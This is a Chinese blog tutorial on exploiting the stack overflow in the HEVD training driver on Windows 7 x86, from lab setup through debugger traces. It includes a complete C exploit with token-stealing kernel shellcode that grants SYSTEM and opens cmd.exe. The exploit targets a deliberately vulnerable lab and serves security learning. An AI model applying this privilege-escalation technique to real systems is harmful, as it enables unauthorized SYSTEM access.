windows内核之栈溢出(一)

misift_Zero 2021-11-18 10:05:00

0x00 前言


HEVD是入门windows内核的一个很好的靶场之一,主要是体验一下常见的提权漏洞利用的情景,里面内置了很多内核上常见的利用漏洞,如栈溢出、UAF、任意内存读写、未初始化、池溢出等。

0x01 环境搭建


环境 下载链接
Win7 x86 https://msdn.itellyou.cn/
HEVD https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/releases/tag/v3.00

image01.png
HEVD要把2个文件都下载
image02.png

一、操作系统+VS2019搭建

这个就不介绍了,CSDN一搜就有一堆

二、双机内核调试环境搭建

下载列表

Windows 10 SDK(随意选择最新版) https://developer.microsoft.com/zh-cn/windows/downloads/windows-10-sdk/
VirtualKD https://github.com/4d61726b/VirtualKD-Redux

windows 10 SDK集成了windows内核调试工具包(Windbg)

在本机上安装Windows 10 SDK+Windbg Preview

只需要选择这个
image03.png
然后一直下一步即可安装
安装成功后会在所有应用W中生成一个Windows Kit
image04.png
安装Windbg Preview
打开microsoft Store
image05.png
搜索Windbg Preview并安装(我这里已经下过了)
image06.png

在安装好了的Win7 x86上安装VirtualKD

因为是x86操作系统,所以我们只需要将target32文件夹复制到win7上
image07.png
直接点击vminstall安装
image08.png
重启Win7
打开vmmon64.exe
image09.png
image10.png
点击 F8
image11.png
选择“禁用驱动程序签名强制”
然后会自动弹出一个Windbg Preview窗口(假设Break是灰的且Win7卡住了,那么需要点击一下Go继续运行Win7)
image12.png
加载一遍后windbg preview会自动记录在自己的Symbol path中
image13.png
没有符号表,Windbg就找不到PEB/TEB结构体

配置Win7测试模式

流程

  • 管理员运行cmd
  • 输入:bcdedit -debug on
  • 重启系统

配置这个后就可以

Win7 配置永久禁止验证驱动文件

运行 --> gpedit.msc --> 用户配置 --> 管理模板 --> 系统 --> 驱动程序安装
image14.png
设备驱动程序的代码签名 --> 选择**已启用** -->选项选择**忽略**
image15.png
重启电脑

三、HEVD环境搭建

将2个文件都解压出来后会有2个文件夹:

  1. driver 这是适应于Win7下的驱动文件,导入即可使用
  2. HackSysExtremeVulnerableDriver-3.00 这是源码文件

项目文件解析:

  • driver
  • secure 没有漏洞的驱动文件
    • x86
    • x64
  • vulnerable 存在利用漏洞的驱动文件
    • x86 内部的 HEVD.sys 即为我们需要使用的HEVD驱动文件
    • x64
  • source code
  • Driver\HEVD\ HEVD的漏洞源码文件,在后续分析对照源码时用到
  • \Exploit为HEVD 官方的漏洞利用代码
    • HackSysEVDExploit.vcxproj 可以生成一个HEVD集成的漏洞利用工具HackSysEVDExploit.exe,点击一下就能用VS2019生成了
  • \build 如果你想自己写一个sys文件,只要安装cmake后就能直接点击Build_HEVD_All.bat生成

导入HEVD.sys

工具

  • dbgview
  • kmdmanager

下载链接:

流程

  1. 我们将vulnerable\x86\HEVD.sys放到我们的win7 x86
  2. 管理员打开dbgview.exe
  3. 配置如下:

image16.png

  1. 管理员运行kmdmanager.exe,选择我们需要导入的HEVD.sys文件
  2. 点击Register和run

Debugview出现如下表示驱动加载成功
image17.png

  1. vulnerable\x86\HEVD.pdb文件放置在D:\Sources\Tools\symbols上(根据自己实际配置环境)

点击 Break 中断 win7
配置Windbg符号表
注意中间的D:\Sources\Tools\symbols,这个就是pdb放置的位置,你也可以根据自己实际情况设置(不懂的看看查:windbg配置符号表)

.sympath SRV*D:\Sources\Tools\symbols*http://msdl.microsoft.com/download/symbols;
.reload
  1. 在本机windbg preivew上测试符号表

命令:

x HEVD!*
  1. 出现如下:

image18.png
环境配置完成

0x02 栈溢出


前面已经讲解了HEVD的在Win7下的环境配置方式,有什么问题可以直接在下方留言,这里讲解一下栈溢出利用方式

0x03 定位溢出函数


HEVD源码示例 HackSysExtremeVulnerableDriver-3.00\Driver\HEVD\BufferOverflowStack.c 即为我们存在栈溢出的源码文件
image01.png
可以看到它给出的漏洞基于栈溢出的漏洞函数是TriggerBufferOverflowStack

我们可以直接IDA pro加载HEVD.sys分析该漏洞函数,直接在Function window窗口ctrl+f查找TriggerBufferOverflowStack
image02.png
直接F5伪代码查看
image03.png
漏洞函数memcpy()
函数解析
可以看到这里是因为没有检查UserBuffer的大小直接将他复制给了KernelBuffer,而KernelBuffer大小是固定值,进而导致溢出发生

0x04 分析目标栈溢出函数调用流程


我们定位的栈溢出函数为:TriggerBufferOverflowStack(x,x)

下面即为函数调用的执行流程:

image04.png
执行HEVD.sys驱动后我们首先是进入到DriverEntry(x,x),然后通过IrpDeviceIoCtlHandler(x,x)根据IoControlCode使用switch函数跳转到BufferOverflowStackIoctlHandler然后进入TriggerBufferOverflowStack进行溢出操作

分析IrpDeviceIoCtlHandler(x,x)

PAGE:00444064 _IrpDeviceIoCtlHandler@8 proc near      ; DATA XREF: DriverEntry(x,x)+87o
PAGE:00444064
PAGE:00444064 DeviceObject    = dword ptr  8
PAGE:00444064 Irp             = dword ptr  0Ch
PAGE:00444064
PAGE:00444064                 push    ebp
PAGE:00444065                 mov     ebp, esp
PAGE:00444067                 push    ebx
PAGE:00444068                 push    esi
PAGE:00444069                 push    edi
PAGE:0044406A                 mov     edi, [ebp+Irp]
PAGE:0044406D                 mov     ebx, 0C00000BBh
PAGE:00444072                 mov     eax, [edi+60h]
PAGE:00444075                 test    eax, eax
PAGE:00444077                 jz      loc_4444C5
PAGE:0044407D                 mov     ebx, eax
PAGE:0044407F                 mov     ecx, [ebx+0Ch]
PAGE:00444082                 lea     eax, [ecx-222003h] ; switch 109 cases     //可以看到起始跳转IoControlCode为222003h
PAGE:00444088                 cmp     eax, 108                                  //跳转到default
PAGE:0044408B                 ja      def_444098      ; jumptable 00444098 default case, cases 2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526
PAGE:00444091                 movzx   eax, ds:byte_444554[eax]  //真实调用函数跳转
PAGE:00444098                 jmp     ds:jpt_444098[eax*4] ; switch jump

我们也可以伪代码分析
image05.png
上面可以很清楚的表示想要进入BufferOverflowStackIoctlHandler就需要IoControlCode222003,进而进入溢出函数TriggerBufferOverflowStack

0x05 溢出利用


漏洞利用流程:

  • 触发漏洞
  • 寻找一个可执行的空间, 里面存放我们的shellcode
  • 调用指令流跳转到shellcode

查看KernelBuffer到达ret的偏移量

image06.png
如图ret地址的偏移量为0x81c + 0x4 = 0x820h

EXP如下:

VS2019生成release+win32类型的载荷就可以了(debug模式下会使ebp复原失败)

#include "stdio.h"
#include "windows.h"
#include <stdlib.h>
//#include "ntapi.h"
#include <tchar.h>

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad                                      ;保存各寄存器数据
        ; start of Token Stealing Stub

        xor eax, eax                                ; eax设置为0
        mov eax, fs: [eax + 124h]                   ; 获取 nt!_KPCR.PcrbData.CurrentThread
        mov eax, [eax + 050h]                       ; 获取 nt!_KTHREAD.ApcState.Process
        mov ecx, eax                                ; 将本进程EPROCESS地址复制到ecx
        mov edx, 4                                  ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + 0b8h]                       ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, 0b8h
            cmp[eax + 0b4h], edx                    ; 获取 nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID                     ; 循环检测是否是SYSTEM进程PID

            mov edx, [eax + 0f8h]                   ; 获取System进程的Token
            mov[ecx + 0f8h], edx                    ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
            ; End of Token Stealing Stub

            popad                                   ; 恢复各个寄存器数据

            ; Kernel Recovery Stub
            xor eax, eax                            ; 返回状态 SUCCEESS
            add esp, 12                             ; Fix the stack
            pop ebp                                 ; Restore saved EBP
            ret 8                                   ; Return cleanly
    }
}

static VOID Cmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

int main()
{
    char buffer[0x824];
    HANDLE hDevice;
    DWORD bReturn = 0;
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("Failed to get handle...!\n");
        return 0;
    }

    memset(buffer, 'A', 0x824); //创建一个0x824大小的内存空间来放置我们的shellcode
    *(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7;


    DeviceIoControl(hDevice, 0x222003, buffer, 0x824, NULL, 0, &bReturn, NULL);
    Cmd();
    return 0;
}

代码解析:

一、在内存中生成一个shellcode空间

    memset(buffer, 'A', 0x824);                                 //生成一个0x824大小的内存空间
    *(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7;           //0x8204位指向函数TokenStealingPayloadWin7空间
  //由于到达ret需要0x820,所以只需要溢出将TokenStealingPayloadWin7地址覆盖到ret即可0x824

二、获取system进程Token和覆盖自己的Token(详细分析请看下面)

VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad                                                  ;保存各寄存器数据
        ; start of Token Stealing Stub

        xor eax, eax                                        ; eax设置为0
        mov eax, fs: [eax + 124h]           ; 获取 nt!_KPCR.PcrbData.CurrentThread
        mov eax, [eax + 050h]                       ; 获取 nt!_KTHREAD.ApcState.Process
        mov ecx, eax                                        ; 将本进程EPROCESS地址复制到ecx
        mov edx, 4                                          ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + 0b8h]                       ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, 0b8h
            cmp[eax + 0b4h], edx                    ; 获取 nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID                     ; 循环检测是否是SYSTEM进程PID

            mov edx, [eax + 0f8h]                   ; 获取System进程的Token
            mov[ecx + 0f8h], edx                    ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
            ; End of Token Stealing Stub

            popad                                                   ; 恢复各个寄存器数据

            ; Kernel Recovery Stub
            xor eax, eax                                    ; 返回状态 SUCCEESS
            add esp, 12                                     ; Fix the stack
            pop ebp                                             ; Restore saved EBP
            ret 8                                                   ; Return cleanly
    }
}

三、使用与驱动进行交互

    //调用驱动HackSysExtremeVulnerableDriver
  hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );


//向HackSysExtremeVulnerableDriver传入控制码0x222003到达TriggerBufferOverflowStack,传入0x824大小的数据
DeviceIoControl(hDevice, 0x222003, buffer, 0x824, NULL, 0, &bReturn, NULL);

四、调用进程的SYSTEM令牌执行cmd

static VOID Cmd()
{
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOW;
    WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
    BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
    if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}

这里实际就是一个启动CMD的命令

五、恢复堆栈平衡防止蓝屏

xor eax, eax                                    ; Set NTSTATUS SUCCEESS
add esp, 12                                 ; Fix the stack
pop ebp                                     ; Restore saved EBP
ret 8                                       ; Return cleanly
  • add esp, 12 ; Fix the stack
  • 这里复原前面的
    • push ebx
    • push esi
    • push edi
  • ret 8 ; Return cleanly
  • 这里复原前面的
    • pop ebp
    • ret指令本身的add esp, 4

载荷执行结果:

image07.png

0x06 利用分析


查看驱动服务开启后目标函数位于内存的位置

kd> x HEVD!*
DBGHELP: HEVD - private symbols & lines 
        d:\sources\tools\symbols01\HEVD.pdb
a1d20014          HEVD!__security_cookie_complement = 0x2ea0a90f
a1d20018          HEVD!g_ARWHelperObjectNonPagedPoolNx = struct _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *[65535]
a1d60014          HEVD!g_UseAfterFreeObjectNonPagedPool = 0x00000000
a1d1f04c          HEVD!__guard_check_icall_fptr = 0xa1d1e404
a1d1f050          HEVD!GuardCheckLongJumpTargetImpl = 0x00000000
a1d1f140          HEVD!__safe_se_handler_table = void *[]
a1d1f098          HEVD!_load_config_used = struct _IMAGE_LOAD_CONFIG_DIRECTORY32
a1d20010          HEVD!__security_cookie = 0xd15f56f0
a1d20000          HEVD!__NLG_Destination = struct _NLG_INFO
a1d60018          HEVD!g_UseAfterFreeObjectNonPagedPoolNx = 0x00000000
a1d63410          HEVD!FreeUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d637f2          HEVD!UaFObjectCallbackNonPagedPoolNx (void)
a1d62920          HEVD!TriggerMemoryDisclosureNonPagedPoolNx (void *, unsigned long)
a1d623aa          HEVD!TriggerDoubleFetch (struct _DOUBLE_FETCH *)
a1d62ade          HEVD!TriggerNullPointerDereference (void *)
a1d6373c          HEVD!FreeUaFObjectNonPagedPoolNx (void)
a1d1e045          HEVD!__SEH_epilog4 (void)
a1d1e3a5          HEVD!_NLG_Notify (void)
a1d1e000          HEVD!__SEH_prolog4 (void)
a1d62aaa          HEVD!NullPointerDereferenceIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e2d0          HEVD!_unwind_handler4 (void)
a1d615e4          HEVD!CreateArbitraryReadWriteHelperObjectNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d63806          HEVD!UseUaFObjectNonPagedPoolNx (void)
a1d634f0          HEVD!AllocateFakeObjectNonPagedPoolNx (struct _FAKE_OBJECT_NON_PAGED_POOL_NX *)
a1d634e8          HEVD!UseUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d615c2          HEVD!IrpNotImplementedHandler (struct _DEVICE_OBJECT *, struct _IRP *)
a1d6217e          HEVD!BufferOverflowStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61e68          HEVD!TriggerBufferOverflowNonPagedPoolNx (void *, unsigned long)
a1d62e4a          HEVD!TriggerUninitializedMemoryPagedPool (void *)
a1d6311c          HEVD!AllocateFakeObjectNonPagedPool (struct _FAKE_OBJECT_NON_PAGED_POOL *)
a1d1e3c4          HEVD!_NLG_Call (void)
a1d624c8          HEVD!TriggerInsecureKernelFileAccess (void)
a1d628f8          HEVD!MemoryDisclosureNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d6238a          HEVD!DoubleFetchIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61bee          HEVD!TriggerArbitraryWrite (struct _WRITE_WHAT_WHERE *)
a1d1e240          HEVD!_local_unwind4 (void)
a1d63236          HEVD!AllocateUaFObjectNonPagedPool (void)
a1d63734          HEVD!AllocateUaFObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e1e8          HEVD!__SEH_prolog4_GS (void)
a1d61bce          HEVD!ArbitraryWriteIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61000          HEVD!DriverUnloadHandler (struct _DRIVER_OBJECT *)
a1d1e230          HEVD!__SEH_epilog4_GS (void)
a1d62c68          HEVD!TriggerTypeConfusion (struct _USER_TYPE_CONFUSION_OBJECT *)
a1d61fe2          HEVD!BufferOverflowPagedPoolSessionIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61bae          HEVD!SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61a2c          HEVD!GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61808          HEVD!DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d61048          HEVD!IrpCreateCloseHandler (struct _DEVICE_OBJECT *, struct _IRP *)
a1d638ca          HEVD!TriggerWriteNULL (void *)
a1d622a6          HEVD!TriggerBufferOverflowStackGS (void *, unsigned long)
a1d1e318          HEVD!_seh_longjmp_unwind4 (unsigned long)
a1d62006          HEVD!TriggerBufferOverflowPagedPoolSession (void *, unsigned long)
a1d62772          HEVD!TriggerMemoryDisclosureNonPagedPool (void *, unsigned long)
a1d650ea          HEVD!GsDriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)
a1d62ffa          HEVD!TriggerUninitializedMemoryStack (void *)
a1d63216          HEVD!AllocateFakeObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d62de6          HEVD!TypeConfusionIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d618f2          HEVD!DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e3ce          HEVD!__security_check_cookie (unsigned int)
a1d6261a          HEVD!TriggerIntegerOverflow (void *, unsigned long)
a1d6342c          HEVD!UseUaFObjectNonPagedPool (void)
a1d635ee          HEVD!AllocateFakeObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d624c0          HEVD!InsecureKernelFileAccessIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e060          HEVD!ValidateLocalCookies (struct _EH4_SCOPETABLE *, char *)
a1d6360e          HEVD!AllocateUaFObjectNonPagedPoolNx (void)
a1d617e8          HEVD!CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d638c2          HEVD!UseUaFObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e0a0          HEVD!_except_handler4 (struct _EXCEPTION_RECORD *, struct _EXCEPTION_REGISTRATION_RECORD *, struct _CONTEXT *, void *)
a1d61064          HEVD!IrpDeviceIoCtlHandler (struct _DEVICE_OBJECT *, struct _IRP *)
a1d1e39c          HEVD!_NLG_Notify1 (void)
a1d63108          HEVD!UninitializedMemoryStackObjectCallback (void)
a1d6335a          HEVD!AllocateUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d62fe6          HEVD!UninitializedMemoryPagedPoolObjectCallback (void)
a1d1e404          HEVD!_guard_check_icall_nop (unsigned int)
a1d625f6          HEVD!IntegerOverflowIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61caa          HEVD!BufferOverflowNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d6274a          HEVD!MemoryDisclosureNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d6395e          HEVD!WriteNULLIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d621a2          HEVD!TriggerBufferOverflowStack (void *, unsigned long)
a1d61e44          HEVD!BufferOverflowNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61cce          HEVD!TriggerBufferOverflowNonPagedPool (void *, unsigned long)
a1d630e8          HEVD!UninitializedMemoryStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d62fc6          HEVD!UninitializedMemoryPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61a4c          HEVD!GetFreeIndex (void)
a1d62e06          HEVD!TypeConfusionObjectInitializer (struct _KERNEL_TYPE_CONFUSION_OBJECT *)
a1d650fa          HEVD!__security_init_cookie (void)
a1d61a6a          HEVD!GetIndexFromPointer (void *)
a1d62aca          HEVD!NullPointerDereferenceObjectCallback (void)
a1d1e3de          HEVD!__report_gsfailure (void)
a1d61a94          HEVD!SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d63418          HEVD!UaFObjectCallbackNonPagedPool (void)
a1d61912          HEVD!GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d637ea          HEVD!FreeUaFObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d63362          HEVD!FreeUaFObjectNonPagedPool (void)
a1d65000          HEVD!DriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)
a1d62282          HEVD!BufferOverflowStackGSIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)

如上可知:a1d6261a HEVD!TriggerIntegerOverflow (void *, unsigned long)
**disassembly窗口**跟踪a1d6261a

    HEVD!TriggerBufferOverflowStack:
a1d621a2 680c080000     push    80Ch
a1d621a7 68e0f3d1a1     push    offset HEVD!__safe_se_handler_table+0x2a0 (a1d1f3e0)
a1d621ac e84fbefbff     call    HEVD!__SEH_prolog4 (a1d1e000)
a1d621b1 33ff           xor     edi, edi
a1d621b3 bb00080000     mov     ebx, 800h
a1d621b8 53             push    ebx
a1d621b9 57             push    edi
a1d621ba 8d85e4f7ffff   lea     eax, [ebp-81Ch]
a1d621c0 50             push    eax
a1d621c1 e81cc0fbff     call    HEVD!memset (a1d1e1e2)
a1d621c6 83c40c         add     esp, 0Ch
a1d621c9 897dfc         mov     dword ptr [ebp-4], edi
a1d621cc 6a01           push    1
a1d621ce 53             push    ebx
a1d621cf ff7508         push    dword ptr [ebp+8]
a1d621d2 ff1524f0d1a1   call    dword ptr [HEVD!_imp__ProbeForRead (a1d1f024)]
a1d621d8 ff7508         push    dword ptr [ebp+8]
a1d621db 68ee44d6a1     push    offset HEVD! ?? ::NNGAKEGL::`string' (a1d644ee)
a1d621e0 6a03           push    3
a1d621e2 6a4d           push    4Dh
a1d621e4 5b             pop     ebx
a1d621e5 53             push    ebx
a1d621e6 8b3504f0d1a1   mov     esi, dword ptr [HEVD!_imp__DbgPrintEx (a1d1f004)]
a1d621ec ffd6           call    esi
a1d621ee ff750c         push    dword ptr [ebp+0Ch]
a1d621f1 680445d6a1     push    offset HEVD! ?? ::NNGAKEGL::`string' (a1d64504)
a1d621f6 6a03           push    3
a1d621f8 53             push    ebx
a1d621f9 ffd6           call    esi
a1d621fb 8d85e4f7ffff   lea     eax, [ebp-81Ch]
a1d62201 50             push    eax
a1d62202 682045d6a1     push    offset HEVD! ?? ::NNGAKEGL::`string' (a1d64520)
a1d62207 6a03           push    3
a1d62209 53             push    ebx
a1d6220a ffd6           call    esi
a1d6220c 6800080000     push    800h
a1d62211 683845d6a1     push    offset HEVD! ?? ::NNGAKEGL::`string' (a1d64538)
a1d62216 6a03           push    3
a1d62218 53             push    ebx
a1d62219 ffd6           call    esi
a1d6221b 83c440         add     esp, 40h
a1d6221e 681646d6a1     push    offset HEVD! ?? ::NNGAKEGL::`string' (a1d64616)
a1d62223 6a03           push    3
a1d62225 53             push    ebx
a1d62226 ffd6           call    esi
a1d62228 ff750c         push    dword ptr [ebp+0Ch]
a1d6222b ff7508         push    dword ptr [ebp+8]
a1d6222e 8d85e4f7ffff   lea     eax, [ebp-81Ch]
a1d62234 50             push    eax
a1d62235 e8a2bffbff     call    HEVD!memcpy (a1d1e1dc)
a1d6223a 83c418         add     esp, 18h
a1d6223d eb27           jmp     HEVD!TriggerBufferOverflowStack+0xc4 (a1d62266)
a1d6223f 8b45ec         mov     eax, dword ptr [ebp-14h]
a1d62242 8b00           mov     eax, dword ptr [eax]
a1d62244 8b00           mov     eax, dword ptr [eax]
a1d62246 8945e4         mov     dword ptr [ebp-1Ch], eax
a1d62249 33c0           xor     eax, eax
a1d6224b 40             inc     eax
a1d6224c c3             ret     
a1d6224d 8b65e8         mov     esp, dword ptr [ebp-18h]
a1d62250 8b7de4         mov     edi, dword ptr [ebp-1Ch]
a1d62253 57             push    edi
a1d62254 68f042d6a1     push    offset HEVD! ?? ::NNGAKEGL::`string' (a1d642f0)
a1d62259 6a03           push    3
a1d6225b 6a4d           push    4Dh
a1d6225d ff1504f0d1a1   call    dword ptr [HEVD!_imp__DbgPrintEx (a1d1f004)]
a1d62263 83c410         add     esp, 10h
a1d62266 c745fcfeffffff mov     dword ptr [ebp-4], 0FFFFFFFEh
a1d6226d 8bc7           mov     eax, edi
a1d6226f 8b4df0         mov     ecx, dword ptr [ebp-10h]
a1d62272 64890d00000000 mov     dword ptr fs:[0], ecx
a1d62279 59             pop     ecx
a1d6227a 5f             pop     edi
a1d6227b 5e             pop     esi
a1d6227c 5b             pop     ebx
a1d6227d c9             leave   
a1d6227e c20800         ret     8
a1d62281 cc             int     3

由上方可以知道a1d62235 e8a2bffbff call HEVD!memcpy (a1d1e1dc)为溢出函数

kd> bp a1d62235

下完断点后直接**g**执行
最终程序停顿在
image08.png
分析此时的ebp

kd> dd ebp
9453cad0  9453cae0 a1d6219a 0041ef5c 00000824
9453cae0  9453cafc a1d610ba 86e12660 86e126d0
9453caf0  86f3ca28 86fc1a40 00000000 9453cb14
9453cb00  83e55593 86fc1a40 86e12660 86e12660
9453cb10  86fc1a40 9453cb34 8404999f 86f3ca28
9453cb20  86e12660 86e126d0 00000094 0453cbac
9453cb30  9453cb44 9453cbd0 8404cb71 86fc1a40
9453cb40  86f3ca28 00000000 83eaf201 0001ca00
DBGHELP: HEVD is not source indexed

注意开始的这个9453cad0->9453cae0->9453cafc->00000000,这里的实际ebp为9453cafc,这是我们执行完shellcode后需要恢复的原始ebp
执行**单步步过p**

kd> p
HEVD!TriggerBufferOverflowStack+0x98:
a1d6223a 83c418          add     esp,18h

查看此时的esp和ebp

kd> dd esp
9453c28c  9453c2b4 0041ef5c 00000824 0000004d
9453c29c  00000003 a1d64616 450c9c20 86e12660
9453c2ac  83ee3087 86e126d0 41414141 41414141
9453c2bc  41414141 41414141 41414141 41414141
9453c2cc  41414141 41414141 41414141 41414141
9453c2dc  41414141 41414141 41414141 41414141
9453c2ec  41414141 41414141 41414141 41414141
9453c2fc  41414141 41414141 41414141 41414141
DBGHELP: HEVD is not source indexed
kd> dd ebp
9453cad0  41414141 00271040 0041ef5c 00000824
9453cae0  9453cafc a1d610ba 86e12660 86e126d0
9453caf0  86f3ca28 86fc1a40 00000000 9453cb14
9453cb00  83e55593 86fc1a40 86e12660 86e12660
9453cb10  86fc1a40 9453cb34 8404999f 86f3ca28
9453cb20  86e12660 86e126d0 00000094 0453cbac
9453cb30  9453cb44 9453cbd0 8404cb71 86fc1a40
9453cb40  86f3ca28 00000000 83eaf201 0001ca00
DBGHELP: HEVD is not source indexed

可以看到此时的我们压入的数据已经覆盖到我们的ebp地址,然后改写ret地址指向shellcode
我们查看012e1040的数据栈

kd> dd 012e1040
012e1040  60575653 8b64c033 00012480 50408b00
012e1050  04bac88b 8b000000 0000b880 00b82d00
012e1060  90390000 000000b4 908bed75 000000f8
012e1070  00f89189 33610000 0cc483c0 0008c25d
012e1080  c35b5e5f cccccccc cccccccc cccccccc
012e1090  81ec8b55 000a88ec 3004a100 c533012e
012e10a0  56fc4589 8068006a 6a400000 6a006a03
012e10b0  00006803 2068c000 c7012e21 fff5cc85

再查看我们的shellcode机器码
(下图为我用IDA分析上面exp编译生成的exe文件中的TokenStealingPayloadWin7函数)
image09.png
对比发现这里就是我们的shellcode存放的位置
继续跟踪执行
当我们执行完**a1d6227e c20800 ret 8**
就会跳转到我们的shellcode
image10.png
当我们执行到完0027107c 5d pop ebp对堆栈进行平衡后的ebp(用于防止蓝屏)

kd> dd ebp
9453cafc  9453cb14 83e55593 86fc1a40 86e12660
9453cb0c  86e12660 86fc1a40 9453cb34 8404999f
9453cb1c  86f3ca28 86e12660 86e126d0 00000094
9453cb2c  0453cbac 9453cb44 9453cbd0 8404cb71
9453cb3c  86fc1a40 86f3ca28 00000000 83eaf201
9453cb4c  0001ca00 00000002 fa51ccbb 00000020
9453cb5c  0041ee7c 840933ca 00000000 0012019f
9453cb6c  c03b98d0 00000000 86f3ca28 83eb9b8a

即还原为9453cafc

0x07 shellcode分析


查看访问凭证

系统中运行的每个进程都有其对应的EPROCESS数据结构,其中封装了所有与之相关的数据。该结构的完整定义,详见网址struct EPROCESS(EPROCESS数据结构在Windows操作系统的不同版本之间会有细微差别,更多信息参见网址EPROCESS )。EPROCESS结构的某些成员,比如PEB(Process Environment Block,进程环境块,具体含义可参考维基百科,网址:Process Environment Block),用户模式下即可访问;而另一些,比如所提到的访问凭证,只能在内核模式下访问。

一、查看EPROCESS结构体

dt nt!_EPROCESS

image11.png
可以看到进程的Token就在EPROCESS结构体偏移0xF8

二、查看_EX_FAST_REF

dt nt!_EX_FAST_REF

image1201.png

三、查看所有进程的EPROCESS结构体首地址

!dml_proc

image12.png

四、查看lsm.exe进程的Token

  1. 直接通过!process查看
